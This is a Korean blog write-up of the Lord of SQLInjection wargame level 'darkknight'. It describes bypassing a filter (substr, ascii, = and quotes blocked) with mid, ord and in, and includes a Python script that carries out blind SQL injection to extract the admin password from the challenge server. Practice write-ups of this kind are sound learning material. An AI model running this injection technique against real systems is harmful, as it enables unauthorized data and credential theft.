[LOS] Level11: darkknight

두비니

·

2020. 1. 9. 16:34

 

 

 

Lord OSQLInjection: lv.11 darkknight

 

 

 

 

 

 

 

darkknight입니다.

 

 

no변수에는 싱글쿼리, substr, ascii, =를 못쓰고 pw에는 싱글쿼리만 못쓰네요.

 

그리고 문제 풀이조건은 pw를 찾아내야하네요.

pw를 찾을 때 substr >> mid

ascii >> ord

= >> in 

함수들을 각각 이용해주면 되겠습니다.

 

 

 

 

 

일단 Hello admin까지는 성공했네요.

 

이제 pw를 알아내야 하는데, 이건 우리가 해왔던대로 쭉 하면 됩니다.

 

 

이렇게 하니 문제없이 blind sql을 할 수 있네요. 대신 python코드를 짤때는 in('+str(j)+') 이런식으로 해야겠죠?

 

 

import httplib

headers= {'Content-Type':'application/x-www-form-urlencoded', 'Cookie':'PHPSESSID=dcn2bc98j1qi3tg1khqovbugv5'}
conn= httplib.HTTPSConnection('los.rubiya.kr', 443)
pw=''
for i in range(1, 10):
    for j in range(32, 128):
        conn.request('GET', '/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?no=1%20or%20id%20in(0x61646d696e)%20and%20ord(mid(pw,'+str(i)+',1))%20in("'+str(j)+'")','',headers)
        r1 = conn.getresponse().read()
        if "Hello admin" in r1:
            pw += chr(j)
            print pw
            break

 

 

 

 

너무쉽죠?

 

 

'War Games > Lord of SQLInjection' 카테고리의 다른 글

[LOS] Level14: assassin  (0) 2020.01.12
[LOS] Level13: giant  (0) 2020.01.11
[LOS] Level10: golem  (0) 2020.01.08
[LOS] Level9: skeleton  (0) 2020.01.07
[LOS] Level8: orge  (0) 2020.01.06